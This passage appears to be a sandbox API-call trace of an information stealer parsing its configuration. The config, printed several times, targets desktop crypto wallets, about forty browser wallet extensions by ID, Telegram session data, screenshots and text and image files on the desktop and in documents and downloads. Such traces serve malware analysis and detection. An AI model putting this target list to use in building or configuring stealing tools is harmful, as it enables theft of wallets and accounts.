Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3569 [0260.166] LocalAlloc (uFlags=0x40, uBytes=0x1be2) returned 0x6bb310 [0260.166] lstrlenW (lpString="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3569 [0260.166] LocalAlloc (uFlags=0x40, uBytes=0x1be2) returned 0x6bcf00 [0260.166] StrStrW (lpFirst="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.166] lstrlenW (lpString="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3569 [0260.166] LocalAlloc (uFlags=0x40, uBytes=0x1c62) returned 0x6ef5a0 [0260.167] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0260.167] LocalFree (hMem=0x6ef5a0) returned 0x0 [0260.167] StrStrW (lpFirst="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension 